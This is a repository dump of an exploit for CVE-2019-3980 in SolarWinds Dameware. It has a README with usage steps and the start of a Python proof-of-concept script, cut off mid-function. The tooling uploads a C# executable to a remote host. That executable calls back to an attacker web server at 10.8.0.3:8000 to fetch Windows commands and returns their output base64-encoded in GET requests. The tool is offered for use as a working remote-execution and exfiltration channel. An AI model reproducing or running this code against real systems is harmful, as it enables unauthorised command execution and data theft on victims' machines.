├── Exec.zip
├── README.md
├── dameware-poc.py
├── dameware-poc1.png
└── dameware-poc2.png
/Exec.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/warferik/CVE-2019-3980/3f543df4c4ac4c5bae4f22a938d5f28b3d138047/Exec.zip
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CVE-2019-3980
2 |
3 | This repo was created to utilize the Nessus POC with a custom C# executable to run commands on a remote host and get the output of the command.
4 |
5 |
6 | The python file is used to start a web server, execute the exploit, and then get the results over the web server.
7 | The C# exe is uploaded through the exploit to the target.
8 | When executed on thte target, the exe calls back to the IP/Port specified to get the command to run (path is /cmd).
9 | Once the command finishes, the exe sends the output to the same webserver.
10 | Sending the output is done through a GET request that will generate a 404, but thats fine we just want the base64 data.
11 |
12 |
13 | C# exe has two variables that need to be updated
14 | These variables reference the attacking systems IP and Port
15 | string ip = "10.8.0.3";
16 | string port = "8000";
17 |
18 |
19 | --if port is updated, python script needs to be updated as well, variable to server the HTTP server is below in python script
20 | PORT = 8000
21 |
22 | Wherever script is launched from needs to contain the file uploaded and well as file called "cmd" which contains the windows commands you want to run.
23 |
24 |
25 | To use this script:
26 | Update variables
27 | create cmd file with commands to run on vulnerable host
28 | compile c# solution contained in zip file
29 | run python script:
30 |
31 | python dameware-poc.py -t target_ip -e executable_to_upload
32 |
33 |
34 | Example below runs the net users command on the remote host
35 |
36 | 
37 |
38 | 
39 |
--------------------------------------------------------------------------------
/dameware-poc.py:
--------------------------------------------------------------------------------
1 | import sys, socket, os,string, binascii, argparse
2 | from struct import *
3 | from Crypto.Cipher import AES
4 | from Crypto.Hash import HMAC,SHA512
5 | from Crypto.Protocol import KDF
6 | from Crypto.Signature import PKCS1_v1_5
7 | from Crypto.PublicKey import RSA
8 | import SimpleHTTPServer
9 | import SocketServer
10 | import os
11 | import threading
12 | import time
13 | import logging
14 | import urlparse
15 | import base64
16 | try:
17 | from http.server import HTTPServer, SimpleHTTPRequestHandler # Python 3
18 | except ImportError:
19 | from SimpleHTTPServer import BaseHTTPServer
20 | HTTPServer = BaseHTTPServer.HTTPServer
21 | from SimpleHTTPServer import SimpleHTTPRequestHandler
22 |
23 |
24 | PORT = 8000
25 |
26 | #Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
27 |
28 | class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
29 |
30 | def do_GET(self):
31 | #logging.error(self.headers)
32 | parsedParams = urlparse.urlparse(self.path)
33 | if os.access('.' + os.sep + parsedParams.path, os.R_OK):
34 | # File exists, serve it up
35 | SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self);
36 | else:
37 | try:
38 |
39 | newstr = self.path
40 | newstr1 = newstr.strip("/")
41 | print newstr1
42 | newstr2 = base64.b64decode(newstr1)
43 | print newstr2
44 | except:
45 | print "Not base64"
46 | #SimpleHTTPServer.SimpleHTTPRequestHandler.do_GET(self)
47 |
48 | Handler = GetHandler
49 |
50 | httpd = SocketServer.TCPServer(("", PORT), Handler)
51 | thread = threading.Thread(target = httpd.serve_forever)
52 | thread.daemon = True
53 | thread.start()
54 |
55 | time.sleep(10)
56 |
57 | def fin():
58 | s.shutdown(socket.SHUT_RDWR)
59 |
60 |
61 | #source https://raw.githubusercontent.com/tenable/poc/master/Solarwinds/Dameware/dwrcs_dwDrvInst_rce.py
62 | # Got it from the Internet
63 | def hexdump(src, length=16):
64 | DISPLAY = string.digits + string.letters + string.punctuation
65 | FILTER = ''.join(((x if x in DISPLAY else '.') for x in map(chr, range(256))))
66 | lines = []
67 | for c in xrange(0, len(src), length):
68 | chars = src[c:c+length]
69 | hex = ' '.join(["%02x" % ord(x) for x in chars])
70 | if len(hex) > 24:
71 | hex = "%s %s" % (hex[:24], hex[24:])
72 | printable = ''.join(["%s" % FILTER[ord(x)] for x in chars])
73 | lines.append("%08x: %-*s %s\n" % (c, length*3, hex, printable))
74 | return ''.join(lines)
75 |
76 | def dump(title, data):
77 | print '--- [ %s ] --- ' % (title)
78 | print hexdump(data)
79 |
80 | def recvall(sock, n):
81 | data = ''
82 | while len(data) < n:
83 | packet = sock.recv(n - len(data))
84 | if not packet:
85 | return None
86 | data += packet
87 | return data
88 |
89 | def xrecv(sock):
90 | data = ''
91 | # Read 0xc-byte header
92 | data = recvall(sock, 0xc)
93 |
94 | # Parse header
95 | (type, unk, size) = unpack('